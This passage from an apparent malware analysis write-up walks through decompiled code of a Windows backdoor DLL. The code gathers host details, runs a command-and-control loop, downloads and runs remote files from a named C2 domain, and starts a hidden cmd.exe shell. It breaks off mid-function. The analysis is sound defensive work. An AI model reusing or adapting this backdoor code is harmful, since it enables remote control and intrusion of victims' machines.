pWVar4 = local_c9c;<br>  for (iVar2 = 0xe5; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    pWVar4[0] = L&#39;\0&#39;;<br>    pWVar4[1] = L&#39;\0&#39;;<br>    pWVar4 = pWVar4 + 2;<br>  }<br>  p_Var3 = &amp;local_db0;<br>  for (iVar2 = 0x45; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    p_Var3-&gt;dwOSVersionInfoSize = 0;<br>    p_Var3 = (_OSVERSIONINFOW *)&amp;p_Var3-&gt;dwMajorVersion;<br>  }<br>  local_db0.dwOSVersionInfoSize = 0x114;<br>  GetVersionExW(&amp;local_db0);<br>  p_Var3 = &amp;local_db0;<br>  pDVar6 = aDStack_a5c;<br>  for (iVar2 = 0x45; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *pDVar6 = p_Var3-&gt;dwOSVersionInfoSize;<br>    p_Var3 = (_OSVERSIONINFOW *)&amp;p_Var3-&gt;dwMajorVersion;<br>    pDVar6 = pDVar6 + 1;<br>  }<br>  DStack_940 = GetVersion();<br>  DStack_db4 = 0x200;<br>  GetComputerNameW(local_c9c,&amp;DStack_db4);<br>  wcscpy(awStack_93c,u_qawsed_10003010);<br>  wcscpy(awStack_928,u_ajh7884@han_10003034);<br>  iVar2 = gethostname(acStack_908,0xff);<br>  if (iVar2 == 0) {<br>    phVar1 = gethostbyname(acStack_908);<br>    if (phVar1 != (hostent *)0x0) {<br>      pWVar4 = aWStack_a9c;<br>      cchWideChar = 0x20;<br>      iVar2 = -1;<br>      lpMultiByteStr = inet_ntoa((in_addr)((_union_1226 *)*phVar1-&gt;h_addr_list)-&gt;S_un_b);<br>      MultiByteToWideChar(0,0,lpMultiByteStr,iVar2,pWVar4,cchWideChar);<br>    }<br>  }<br>  puVar5 = auStack_808;<br>  for (iVar2 = 0x202; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *puVar5 = 0;<br>    puVar5 = puVar5 + 1;<br>  }<br>  auStack_808[0] = 0xb;<br>  pWVar4 = local_c9c;<br>  puVar5 = auStack_808 + 2;<br>  for (iVar2 = 0xe5; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *puVar5 = *(undefined4 *)pWVar4;<br>    pWVar4 = pWVar4 + 2;<br>    puVar5 = puVar5 + 1;<br>  }<br>  puVar5 = auStack_808;<br>  puVar7 = (undefined4 *)&amp;stack0xffffea38;<br>  for (iVar2 = 0x202; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *puVar7 = *puVar5;<br>    puVar5 = puVar5 + 1;<br>    puVar7 = puVar7 + 1;<br>  }<br>  XOREncryptAndSendData<br>            (in_stack_ffffea38,in_stack_ffffea3c,in_stack_ffffea40,in_stack_ffffea44,<br>             in_stack_ffffea48,in_stack_ffffea4c,in_stack_ffffea50,in_stack_ffffea54,<br>             in_stack_ffffea58,in_stack_ffffea5c,in_stack_ffffea41);<br>  return 0;<br>}</pre><p><strong>GatherSystemInfoAndPrepareBuffer</strong> collects key details about the system, like the computer name, Windows version, local IP address, and hostname, then organizes everything in a structured buffer and encrypts it before sending it to the command and control server. This step is important for the backdoor, since it helps the operator identify which computer they’ve infected.</p><h4>Here’s what the function does step by step:</h4><ul><li>First, it clears out and sets up buffers and structures to store all the system info, just making sure everything’s fresh and empty before starting.</li><li>Next up, it grabs the OS version (using <strong>GetVersionExW</strong> and<strong> GetVersion</strong>) and saves that in its own spot (so it’s got a record of exactly what version you’re running).</li><li>Then it fetches the computer name (<strong>GetComputerNameW</strong> does the job) and stores that too.</li><li>It copies hardcoded credentials like a username and email address.</li><li>It pulls the hostname and local IP address (using <strong>gethostname</strong> and <strong>gethostbyname</strong>) and then turns the IP from ASCII to Unicode (<strong>MultiByteToWideChar</strong> handles that part).</li><li>All that info gets loaded into a main buffer (called auStack_808), so now it’s got all the data together (including system version, computer name, and IP address)</li><li>This buffer gets copied into a temporary structure that will be used for transmission.</li><li>Finally, it encrypts everything in that buffer and sends it out (using <strong>XOREncryptAndSendData</strong>, more about that later).</li></ul><h3>CommandListenerLoop (UndefinedFunction_10001b06 / UndefinedFunction_10001ac0) Overview:</h3><pre>undefined4 UndefinedFunction_10001ac0(SOCKET param_1)<br><br>{<br>  int iVar1;<br>  undefined4 *puVar2;<br>  undefined4 *puVar3;<br>  undefined4 auStackY_1130 [508];<br>  undefined4 uStackY_940;<br>  timeval tStack_914;<br>  fd_set fStack_90c;<br>  undefined4 auStack_808 [2];<br>  byte abStack_800 [2048];<br>  <br>  tStack_914.tv_sec = 0x1e;<br>  tStack_914.tv_usec = 0;<br>  fStack_90c.fd_array[0] = param_1;<br>  fStack_90c.fd_count = 1;<br>  DAT_1000337c = CreateEventW((LPSECURITY_ATTRIBUTES)0x0,1,1,(LPCWSTR)0x0);<br>  while( true ) {<br>    WaitForSingleObject(DAT_1000337c,0xffffffff);<br>    puVar2 = auStack_808;<br>    for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>      *puVar2 = 0;<br>      puVar2 = puVar2 + 1;<br>    }<br>    iVar1 = select(0,&amp;fStack_90c,(fd_set *)0x0,(fd_set *)0x0,&amp;tStack_914);<br>    if ((iVar1 == 0) || (iVar1 = recv(param_1,(char *)auStack_808,0x808,0), iVar1 &lt; 1)) break;<br>    iVar1 = 0;<br>    do {<br>      abStack_800[iVar1] = abStack_800[iVar1] ^ 2;<br>      iVar1 = iVar1 + 1;<br>    } while (iVar1 &lt; 0x800);<br>    switch(auStack_808[0]) {<br>    case 1:<br>      puVar2 = auStack_808;<br>      puVar3 = auStackY_1130;<br>      for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>        *puVar3 = *puVar2;<br>        puVar2 = puVar2 + 1;<br>        puVar3 = puVar3 + 1;<br>      }<br>      EnumerateProcessesAndSendData();<br>      break;<br>    case 2:<br>      puVar2 = auStack_808;<br>      puVar3 = auStackY_1130;<br>      for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>        *puVar3 = *puVar2;<br>        puVar2 = puVar2 + 1;<br>        puVar3 = puVar3 + 1;<br>      }<br>      TerminateProcessByPID();<br>      break;<br>    case 3:<br>      ResetEvent(DAT_1000337c);<br>      uStackY_940 = 0x10001c00;<br>      CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&amp;LAB_10001440,abStack_800,0,<br>                   (LPDWORD)0x0);<br>      break;<br>    case 4:<br>      puVar2 = auStack_808;<br>      puVar3 = auStackY_1130;<br>      for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>        *puVar3 = *puVar2;<br>        puVar2 = puVar2 + 1;<br>        puVar3 = puVar3 + 1;<br>      }<br>      RunCommandAndSendStatus();<br>      break;<br>    case 5:<br>      puVar2 = auStack_808;<br>      puVar3 = auStackY_1130;<br>      for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>        *puVar3 = *puVar2;<br>        puVar2 = puVar2 + 1;<br>        puVar3 = puVar3 + 1;<br>      }<br>      StartHiddenCmdShell();<br>      break;<br>    case 6:<br>      puVar2 = auStack_808;<br>      puVar3 = auStackY_1130;<br>      for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>        *puVar3 = *puVar2;<br>        puVar2 = puVar2 + 1;<br>        puVar3 = puVar3 + 1;<br>      }<br>      SendCommandToPipe();<br>      break;<br>    case 9:<br>      DeleteRegistryAndScheduleFileDeletion();<br>      break;<br>    case 10:<br>      ForceImmediateReboot();<br>    }<br>  }<br>  SetEvent(DAT_100031dc);<br>  closesocket(param_1);<br>  return 0;<br>}</pre><p>So, <strong>CommandListenerLoop (UndefinedFunction_10001b06 / UndefinedFunction_10001ac0)</strong> basically acts as the main command and control (C2) loop for the malware. You give it a connected socket, and it quietly waits for instructions from the remote server by using select(). Every time it gets a new command, it checks the case switch to figure out what to do next. Depending on the command, it can manage processes, run commands, or handle data as instructed. It just sits there in the background, ready to follow whatever the remote end asks for.</p><h4>Detailed explanation:</h4><ul><li>First, it sets up a manual-reset event with CreateEventW. This is mostly just for synchronizing threads.</li><li>Then, there’s some socket monitoring business. It uses <strong>fd_set</strong> together with timeval to keep an eye on the socket through <strong>select()</strong>, with a 30-second timeout. So it’s not waiting around forever.</li></ul><p><strong>Inside the main loop:</strong></p><ul><li>It clears the <strong>auStack_808</strong> buffer every time at the top.</li><li>It waits for data using <strong>select()</strong>.</li><li>If nothing comes in, or<strong> recv()</strong> fails (like if the connection drops or there’s an error), the loop stops.</li></ul><p><strong>If data does arrive:</strong></p><ul><li>There is a <strong>XOR</strong> operation (<strong>^ 2</strong>) done on <strong>abStack_800</strong>. (Honestly, not super clear why this is here, the buffer doesn’t get any obvious data, and it’s only used in one case. Might just be leftover code, some sort of obfuscation, or even a weird quirk from decompiling.).</li><li>Uses<strong> auStack_808[0]</strong> to determine which action to take:</li></ul><p>‣ <strong>Case 1:</strong> EnumerateProcessesAndSendData (FUN_100011b0) – Collects a list of currently running processes and sends it out.<br> ‣ <strong>Case 2:</strong> TerminateProcessByPID (FUN_10001320) – Shuts down a specific process by its PID. <br><strong><em>(case 1 and 2 are probably used to stop the malware from runing if an analysis enviroment is detected)</em></strong><br> ‣ <strong>Case 3:</strong> Spawns a thread running RemoteDataDownloaderAndExecutor (LAB_10001440 / UndefinedFunction_10001440) – that downloads and executes files from remote sources.<br> ‣ <strong>Case 4:</strong> RunCommandAndSendStatus (FUN_100013c0) – Runs a given command and reports back the result.<br> ‣ <strong>Case 5:</strong> StartHiddenCmdShell (FUN_10001900) – Launches a hidden cmd.exe session.<br> ‣ <strong>Case 6:</strong> SendCommandToPipe (FUN_10001890) – Sends a command over named pipes.<br> ‣ <strong>Case 9:</strong> DeleteRegistryAndScheduleFileDeletion (FUN_10001a20) – Removes certain registry entries and schedules itself (the malware) to be deleted later<br> ‣ <strong>Case 10:</strong> ForceImmediateReboot (FUN_10001a90) – Triggers an immediate system reboot without user input.</p><p>When the loop ends because of either disconnect or error, the malware signals completion with<strong> SetEvent()</strong> and closes the connection using <strong>closesocket()</strong>.</p><h3>Case 1: EnumerateProcessesAndSendData (FUN_100011b0) Overview:</h3><pre>undefined4 EnumerateProcessesAndSendData(void)<br><br>{<br>  HANDLE hObject;<br>  int iVar1;<br>  uint uVar2;<br>  undefined4 *puVar3;<br>  undefined4 *puVar4;<br>  uint uVar5;<br>  wchar_t *pwVar6;<br>  undefined4 *puVar7;<br>  bool bVar8;<br>  undefined in_stack_ffffed6c;<br>  undefined in_stack_ffffed70;<br>  undefined in_stack_ffffed74;<br>  undefined in_stack_ffffed75;<br>  undefined in_stack_ffffed78;<br>  undefined in_stack_ffffed7c;<br>  undefined in_stack_ffffed80;<br>  undefined in_stack_ffffed84;<br>  undefined in_stack_ffffed88;<br>  undefined in_stack_ffffed8c;<br>  undefined in_stack_ffffed90;<br>  wchar_t local_a74 [30];<br>  undefined4 local_a38;<br>  undefined4 local_a34;<br>  undefined4 local_a2c;<br>  wchar_t local_a10 [260];<br>  undefined4 local_808 [514];<br>  <br>  hObject = (HANDLE)CreateToolhelp32Snapshot();<br>  if (hObject != (HANDLE)0xffffffff) {<br>    local_a34 = 0x22c;<br>    iVar1 = Process32FirstW();<br>    if (iVar1 == 0) {<br>      CloseHandle(hObject);<br>      return 0;<br>    }<br>    puVar3 = local_808;<br>    for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>      *puVar3 = 0;<br>      puVar3 = puVar3 + 1;<br>    }<br>    local_808[0] = 1;<br>    uVar5 = 0;<br>    puVar3 = local_808 + 2;<br>    do {<br>      pwVar6 = local_a74;<br>      for (iVar1 = 0x10; iVar1 != 0; iVar1 = iVar1 + -1) {<br>        pwVar6[0] = L&#39;\0&#39;;<br>        pwVar6[1] = L&#39;\0&#39;;<br>        pwVar6 = pwVar6 + 2;<br>      }<br>      wcscpy(local_a74,local_a10);<br>      local_a38 = local_a2c;<br>      puVar4 = puVar3 + 0x10;<br>      uVar5 = uVar5 + 1;<br>      pwVar6 = local_a74;<br>      puVar7 = puVar3;<br>      for (iVar1 = 0x10; iVar1 != 0; iVar1 = iVar1 + -1) {<br>        *puVar7 = *(undefined4 *)pwVar6;<br>        pwVar6 = pwVar6 + 2;<br>        puVar7 = puVar7 + 1;<br>      }<br>      uVar2 = uVar5 &amp; 0x8000001f;<br>      bVar8 = uVar2 == 0;<br>      if ((int)uVar2 &lt; 0) {<br>        bVar8 = (uVar2 - 1 | 0xffffffe0) == 0xffffffff;<br>      }<br>      if (bVar8) {<br>        puVar7 = local_808;<br>        puVar4 = (undefined4 *)&amp;stack0xffffed6c;<br>        for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>          *puVar4 = *puVar7;<br>          puVar7 = puVar7 + 1;<br>          puVar4 = puVar4 + 1;<br>        }<br>        XOREncryptAndSendData<br>                  (in_stack_ffffed6c,in_stack_ffffed70,in_stack_ffffed74,in_stack_ffffed78,<br>                   in_stack_ffffed7c,in_stack_ffffed80,in_stack_ffffed84,in_stack_ffffed88,<br>                   in_stack_ffffed8c,in_stack_ffffed90,in_stack_ffffed75);<br>        puVar7 = local_808;<br>        for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>          *puVar7 = 0;<br>          puVar7 = puVar7 + 1;<br>        }<br>        local_808[0] = 1;<br>        puVar4 = puVar3 + -0x1f0;<br>      }<br>      iVar1 = Process32NextW();<br>      puVar3 = puVar4;<br>    } while (iVar1 != 0);<br>    CloseHandle(hObject);<br>    uVar5 = uVar5 &amp; 0x8000001f;<br>    bVar8 = uVar5 == 0;<br>    if ((int)uVar5 &lt; 0) {<br>      bVar8 = (uVar5 - 1 | 0xffffffe0) == 0xffffffff;<br>    }<br>    if (!bVar8) {<br>      puVar3 = local_808;<br>      puVar7 = (undefined4 *)&amp;stack0xffffed6c;<br>      for (iVar1 = 0x202; iVar1 != 0; iVar1 = iVar1 + -1) {<br>        *puVar7 = *puVar3;<br>        puVar3 = puVar3 + 1;<br>        puVar7 = puVar7 + 1;<br>      }<br>      XOREncryptAndSendData<br>                (in_stack_ffffed6c,in_stack_ffffed70,in_stack_ffffed74,in_stack_ffffed78,<br>                 in_stack_ffffed7c,in_stack_ffffed80,in_stack_ffffed84,in_stack_ffffed88,<br>                 in_stack_ffffed8c,in_stack_ffffed90,in_stack_ffffed75);<br>    }<br>  }<br>  return 0;<br>}</pre><p>So, what this function does is gather up a list of all the running processes on your system and sends the info out encrypted.</p><ul><li>It uses CreateToolhelp32Snapshot (basically takes a snapshot of active processes)</li><li>Then walks through each one with <strong>Process32FirstW</strong> and <strong>Process32NextW</strong>.</li><li>As it goes, it copies the important info into a local buffer.</li><li>Every now and then, it encrypts and sends the collected data using <strong>XOREncryptAndSendData.</strong></li><li>After sending, it clears out the buffers and keeps on moving until it’s gone through everything.</li></ul><h3>Case 2: TerminateProcessByPID (FUN_10001320) Overview:</h3><pre>BOOL TerminateProcessByPID(undefined4 param_1,undefined4 param_2,DWORD param_3)<br><br>{<br>  HANDLE hProcess;<br>  BOOL BVar1;<br>  int iVar2;<br>  BOOL *pBVar3;<br>  BOOL *pBVar4;<br>  undefined in_stack_ffffefdc;<br>  undefined in_stack_ffffefe0;<br>  undefined in_stack_ffffefe4;<br>  undefined in_stack_ffffefe5;<br>  undefined in_stack_ffffefe8;<br>  undefined in_stack_ffffefec;<br>  undefined in_stack_ffffeff0;<br>  undefined in_stack_ffffeff4;<br>  undefined in_stack_ffffeff8;<br>  undefined in_stack_ffffeffc;<br>  undefined in_stack_fffff000;<br>  BOOL local_808 [514];<br>  <br>  pBVar3 = local_808;<br>  for (iVar2 = 0x202; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *pBVar3 = 0;<br>    pBVar3 = pBVar3 + 1;<br>  }<br>  hProcess = OpenProcess(0x1f0fff,0,param_3);<br>  if (hProcess == (HANDLE)0x0) {<br>    return 0;<br>  }<br>  BVar1 = TerminateProcess(hProcess,0);<br>  local_808[0] = 2;<br>  local_808[2] = BVar1;<br>  pBVar3 = local_808;<br>  pBVar4 = (BOOL *)&amp;stack0xffffefdc;<br>  for (iVar2 = 0x202; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *pBVar4 = *pBVar3;<br>    pBVar3 = pBVar3 + 1;<br>    pBVar4 = pBVar4 + 1;<br>  }<br>  XOREncryptAndSendData<br>            (in_stack_ffffefdc,in_stack_ffffefe0,in_stack_ffffefe4,in_stack_ffffefe8,<br>             in_stack_ffffefec,in_stack_ffffeff0,in_stack_ffffeff4,in_stack_ffffeff8,<br>             in_stack_ffffeffc,in_stack_fffff000,in_stack_ffffefe5);<br>  CloseHandle(hProcess);<br>  return BVar1;<br>}</pre><p>It tries to stop a process using its PID.</p><ul><li>First, it gets access to the process with OpenProcess using full permissions.</li><li>Then, <strong>TerminateProcess</strong> steps in to end the process quietly.</li><li>It puts together a status (shows if it worked or not), encrypts that status with XOREncryptAndSendData, and sends it off.</li><li>At the end, it closes the process handle and tells you if it pulled it off.</li></ul><h3>Case 3 (RemoteDataDownloaderAndExecutor) Overview:</h3><pre><br>undefined4 UndefinedFunction_10001440(undefined4 *param_1)<br><br>{<br>  SOCKET s;<br>  hostent *phVar1;<br>  char *cp;<br>  HANDLE hObject;<br>  void *lpBuffer;<br>  uint uVar2;<br>  int iVar3;<br>  BOOL BVar4;<br>  int iVar5;<br>  int iVar6;<br>  uint uVar7;<br>  undefined4 *puVar8;<br>  WCHAR *pWVar9;<br>  undefined4 *puVar10;<br>  undefined in_stack_ffffeca0;<br>  undefined in_stack_ffffeca4;<br>  undefined in_stack_ffffeca8;<br>  undefined in_stack_ffffeca9;<br>  undefined in_stack_ffffecac;<br>  undefined in_stack_ffffecb0;<br>  undefined in_stack_ffffecb4;<br>  undefined in_stack_ffffecb8;<br>  undefined in_stack_ffffecbc;<br>  undefined in_stack_ffffecc0;<br>  undefined in_stack_ffffecc4;<br>  timeval tStack_b34;<br>  DWORD DStack_b2c;<br>  sockaddr sStack_b28;<br>  fd_set fStack_b18;<br>  WCHAR aWStack_a14 [260];<br>  uint uStack_80c;<br>  undefined4 auStack_808 [2];<br>  wchar_t awStack_800 [1024];<br>  <br>  pWVar9 = aWStack_a14;<br>  for (iVar5 = 0x83; iVar5 != 0; iVar5 = iVar5 + -1) {<br>    *(undefined4 *)pWVar9 = *param_1;<br>    param_1 = param_1 + 1;<br>    pWVar9 = pWVar9 + 2;<br>  }<br>  SetEvent(DAT_1000337c);<br>  s = socket(2,1,6);<br>  sStack_b28.sa_family = 2;<br>  iVar5 = _wtoi((wchar_t *)&amp;DAT_10003024);<br>  sStack_b28.sa_data._0_2_ = htons((u_short)iVar5);<br>  phVar1 = gethostbyname(s_kita.myfw.us_10003054);<br>  if ((phVar1 == (hostent *)0x0) &amp;&amp;<br>     (phVar1 = gethostbyname(&amp;DAT_10003090), phVar1 == (hostent *)0x0)) {<br>    closesocket(s);<br>    return 0xffffffff;<br>  }<br>  cp = inet_ntoa((in_addr)((_union_1226 *)*phVar1-&gt;h_addr_list)-&gt;S_un_b);<br>  sStack_b28.sa_data._2_4_ = inet_addr(cp);<br>  iVar5 = connect(s,&amp;sStack_b28,0x10);<br>  if (iVar5 == -1) {<br>    closesocket(s);<br>    return 0xffffffff;<br>  }<br>  puVar8 = auStack_808;<br>  for (iVar5 = 0x202; iVar5 != 0; iVar5 = iVar5 + -1) {<br>    *puVar8 = 0;<br>    puVar8 = puVar8 + 1;<br>  }<br>  auStack_808[0] = 0x12;<br>  puVar8 = auStack_808;<br>  puVar10 = (undefined4 *)&amp;stack0xffffeca0;<br>  for (iVar5 = 0x202; iVar5 != 0; iVar5 = iVar5 + -1) {<br>    *puVar10 = *puVar8;<br>    puVar8 = puVar8 + 1;<br>    puVar10 = puVar10 + 1;<br>  }<br>  XOREncryptAndSendData<br>            (in_stack_ffffeca0,in_stack_ffffeca4,in_stack_ffffeca8,in_stack_ffffecac,<br>             in_stack_ffffecb0,in_stack_ffffecb4,in_stack_ffffecb8,in_stack_ffffecbc,<br>             in_stack_ffffecc0,in_stack_ffffecc4,in_stack_ffffeca9);<br>  uVar7 = uStack_80c &gt;&gt; 10;<br>  if ((uStack_80c &amp; 0x3ff) != 0) {<br>    uVar7 = uVar7 + 1;<br>  }<br>  hObject = CreateFileW(aWStack_a14,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,4,0x80,(HANDLE)0x0);<br>  lpBuffer = operator_new(0x400);<br>  uVar2 = 0;<br>  if (uVar7 != 0) {<br>    do {<br>      uVar2 = uVar2 + 1;<br>      if (uVar2 == uVar7) {<br>        iVar5 = uStack_80c + uVar7 * -0x400 + 0x400;<br>      }<br>      else {<br>        iVar5 = 0x400;<br>      }<br>      iVar6 = 0;<br>      for (; 0 &lt; iVar5; iVar5 = iVar5 - iVar3) {<br>        tStack_b34.tv_sec = 0x1e;<br>        tStack_b34.tv_usec = 0;<br>        fStack_b18.fd_count = 1;<br>        fStack_b18.fd_array[0] = s;<br>        iVar3 = select(0,&amp;fStack_b18,(fd_set *)0x0,(fd_set *)0x0,&amp;tStack_b34);<br>        if (iVar3 == -1) {<br>          operator_delete(lpBuffer);<br>          CloseHandle(hObject);<br>          return 0xffffffff;<br>        }<br>        if (iVar3 == 0) {<br>          operator_delete(lpBuffer);<br>          CloseHandle(hObject);<br>          return 0xffffffff;<br>        }<br>        iVar3 = recv(s,(char *)(iVar6 + (int)lpBuffer),iVar5,0);<br>        if (iVar3 &lt; 1) {<br>          operator_delete(lpBuffer);<br>          CloseHandle(hObject);<br>          return 0xffffffff;<br>        }<br>        iVar6 = iVar6 + iVar3;<br>      }<br>      iVar5 = 0;<br>      do {<br>        *(byte *)(iVar5 + (int)lpBuffer) = *(byte *)(iVar5 + (int)lpBuffer) ^ 2;<br>        iVar5 = iVar5 + 1;<br>      } while (iVar5 &lt; 0x400);<br>      BVar4 = WriteFile(hObject,lpBuffer,0x400,&amp;DStack_b2c,(LPOVERLAPPED)0x0);<br>    } while ((BVar4 != 0) &amp;&amp; (uVar2 &lt; uVar7));<br>  }<br>  operator_delete(lpBuffer);<br>  CloseHandle(hObject);<br>  puVar8 = auStack_808;<br>  for (iVar5 = 0x202; iVar5 != 0; iVar5 = iVar5 + -1) {<br>    *puVar8 = 0;<br>    puVar8 = puVar8 + 1;<br>  }<br>  wcscpy(awStack_800,aWStack_a14);<br>  puVar8 = auStack_808;<br>  puVar10 = (undefined4 *)&amp;stack0xffffeca0;<br>  for (iVar5 = 0x202; iVar5 != 0; iVar5 = iVar5 + -1) {<br>    *puVar10 = *puVar8;<br>    puVar8 = puVar8 + 1;<br>    puVar10 = puVar10 + 1;<br>  }<br>  RunCommandAndSendStatus();<br>  return 0;<br>}</pre><p>This function handles connects to a certain server and grabs a file, saves it on your computer, and then runs it. It sets up a socket connection to the server, takes in chunks of encrypted data, uses a simple XOR method to decrypt them, saves the decrypted file locally, and then runs that file. After it finishes, it sends a message back to the server to say whether it ran successfully.</p><h4>Step-by-step breakdown:</h4><ul><li>First, it takes some initial settings and copies them into a local buffer, then uses <strong>SetEvent()</strong> to let everything know it’s good to go.</li><li>Next, it opens up a TCP socket, gets the address of the remote server (changes the hostname into an IP and picks the right port), and tries to connect. If the connection falls through, that’s it — it just stops there.</li><li>After that, it wipes a big buffer (<strong>auStack_808</strong>) to empty it out, and prepares it for sending with XOR encryption via <strong>XOREncryptAndSendDat</strong>a</li><li>Then, it does a quick calculation to figure out how many 0x400-byte pieces it’s going to need based on a size variable named <strong>uStack_80c</strong></li><li>It either opens or creates a file on the computer to save whatever it downloads next. The filename lives in a wide-character buffer.</li><li>It also grabs a 1 KB buffer to use for getting pieces of the data.</li></ul><p>Now it heads into a loop and does the following steps for each piece</p><ul><li>It waits for incoming data, using <strong>select()</strong> with a 30-second time limit so it doesn’t get stuck.</li><li>It reads whatever comes in from the socket with <strong>recv()</strong>.</li><li>Each byte gets a XOR with 0x2, which is just its way of turning the data back to normal (decryption step).</li><li>Once decrypted, it writes these pieces straight into the file.</li><li>After pulling down every chunk, it cleans up the buffer and closes the file.</li><li>When all the downloading is wrapped up, it puts together another buffer and runs the new file by calling <strong>RunCommandAndSendStatus()</strong>. That’s just a way to execute the file and let the server know if things worked out or not.</li><li>If everything worked, it sends back zero. If things went sideways, it returns an error code.</li></ul><h3>Case 4: RunCommandAndSendStatus (FUN_100013c0) Overview:</h3><pre>undefined4 RunCommandAndSendStatus(void)<br><br>{<br>  HINSTANCE pHVar1;<br>  int iVar2;<br>  uint *puVar3;<br>  uint *puVar4;<br>  undefined in_stack_ffffefe4;<br>  undefined in_stack_ffffefe8;<br>  undefined in_stack_ffffefec;<br>  undefined in_stack_ffffefed;<br>  undefined in_stack_ffffeff0;<br>  undefined in_stack_ffffeff4;<br>  undefined in_stack_ffffeff8;<br>  undefined in_stack_ffffeffc;<br>  undefined in_stack_fffff000;<br>  undefined in_stack_fffff004;<br>  undefined in_stack_fffff008;<br>  uint local_808 [514];<br>  <br>  puVar3 = local_808;<br>  for (iVar2 = 0x202; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *puVar3 = 0;<br>    puVar3 = puVar3 + 1;<br>  }<br>  local_808[0] = 4;<br>  pHVar1 = ShellExecuteW((HWND)0x0,u_open_100030b8,(LPCWSTR)&amp;stack0x0000000c,(LPCWSTR)0x0,<br>                         (LPCWSTR)0x0,0);<br>  local_808[2] = (uint)(0x20 &lt; (int)pHVar1);<br>  puVar3 = local_808;<br>  puVar4 = (uint *)&amp;stack0xffffefe4;<br>  for (iVar2 = 0x202; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *puVar4 = *puVar3;<br>    puVar3 = puVar3 + 1;<br>    puVar4 = puVar4 + 1;<br>  }<br>  XOREncryptAndSendData<br>            (in_stack_ffffefe4,in_stack_ffffefe8,in_stack_ffffefec,in_stack_ffffeff0,<br>             in_stack_ffffeff4,in_stack_ffffeff8,in_stack_ffffeffc,in_stack_fffff000,<br>             in_stack_fffff004,in_stack_fffff008,in_stack_ffffefed);<br>  return 0;<br>}</pre><p>It uses ShellExecuteW to kick off a command and waits to see if it actually worked out.</p><ul><li>First, it clears out a local buffer and then pops in this operation code (4).</li><li>Next, it runs <strong>ShellExecuteW</strong> with a set command string.</li><li>Once that’s done, it checks if things went smoothly by looking for a result above 0x20, and saves that result, whether it was a hit or a miss, in the buffer.</li><li>Then the status is encrypted with some XOR magic and sent off.</li><li>No matter what, the function always finishes by returning zero — even if the command totally failed.</li></ul><h3><strong>Case 5: StartHiddenCmdShell (FUN_10001900) Overview:</strong></h3><pre>undefined4 StartHiddenCmdShell(void)<br><br>{<br>  BOOL BVar1;<br>  int iVar2;<br>  undefined4 *puVar3;<br>  LPVOID in_stack_0000080c;<br>  _SECURITY_ATTRIBUTES _Stack_268;<br>  _PROCESS_INFORMATION _Stack_25c;<br>  _STARTUPINFOW local_24c;<br>  WCHAR WStack_208;<br>  undefined4 auStack_206 [129];<br>  <br>  if (DAT_10003380 == (HANDLE)0x0) {<br>    DAT_10003380 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&amp;LAB_10001760,<br>                                in_stack_0000080c,0,(LPDWORD)0x0);<br>    _Stack_268.nLength = 0xc;<br>    _Stack_268.lpSecurityDescriptor = (LPVOID)0x0;<br>    _Stack_268.bInheritHandle = 1;<br>    CreatePipe(&amp;DAT_100031d4,(PHANDLE)&amp;DAT_100031d0,&amp;_Stack_268,0);<br>    Sleep(100);<br>  }<br>  GetStartupInfoW(&amp;local_24c);<br>  local_24c.hStdInput = DAT_100031d4;<br>  local_24c.hStdError = DAT_10003374;<br>  local_24c.hStdOutput = DAT_10003374;<br>  WStack_208 = L&#39;\0&#39;;<br>  puVar3 = auStack_206;<br>  for (iVar2 = 0x81; iVar2 != 0; iVar2 = iVar2 + -1) {<br>    *puVar3 = 0;<br>    puVar3 = puVar3 + 1;<br>  }<br>  local_24c.dwFlags = 0x101;<br>  local_24c.wShowWindow = 0;<br>  *(undefined2 *)puVar3 = 0;<br>  GetWindowsDirectoryW(&amp;WStack_208,0x208);<br>  wcscat(&amp;WStack_208,u_\system32\cmd.exe_100030cc);<br>  BVar1 = CreateProcessW(&amp;WStack_208,(LPWSTR)0x0,(LPSECURITY_ATTRIBUTES)0x0,<br>                         (LPSECURITY_ATTRIBUTES)0x0,1,0,(LPVOID)0x0,(LPCWSTR)0x0,&amp;local_24c,<br>                         &amp;_Stack_25c);<br>  if (BVar1 == 0) {<br>    return 0xffffffff;<br>  }<br>  _DAT_10003378 = _Stack_25c.dwProcessId;<br>  Sleep(100);<br>  return 0;<br>}</pre><p>This function sets up a hidden command shell, cmd.exe, where input and output are swapped through pipes. The idea is to let things run quietly in the background, so you don’t see any new console window pop up.</p><h4>Here’s basically what happens:</h4><ul><li>First, it checks if there’s a pipe listener thread already active. If not, it starts one up.</li><li>Next, it sorts out the security settings so the necessary pieces can be inherited by the new process.</li><li>It creates some anonymous pipes, which are basically invisible channels for data to move around.</li><li>Then, it prepares some process startup info, setting up so that standard input, output, and error are all routed through those new pipes.</li><li>It also sets a flag so the console window stays hidden.</li><li>After that, it figures out the path to the Windows system directory and puts together where <strong>cmd.exe</strong> actually lives.</li><li>Now it starts up the hidden command shell with the setup it just arranged.</li><li>It keeps track of this new process’s ID so it can be used again if needed.</li><li>At the end, it’ll send back a 0 if everything worked or a -1 if something went wrong.</li></ul><p>So basically, it gives you a quiet, hidden command shell that you can interact with behind the scenes, no visible windows, no interruptions.</p><h3>Case 6: SendCommandToPipe (FUN_10001890) Overview:</h3><pre>undefined4 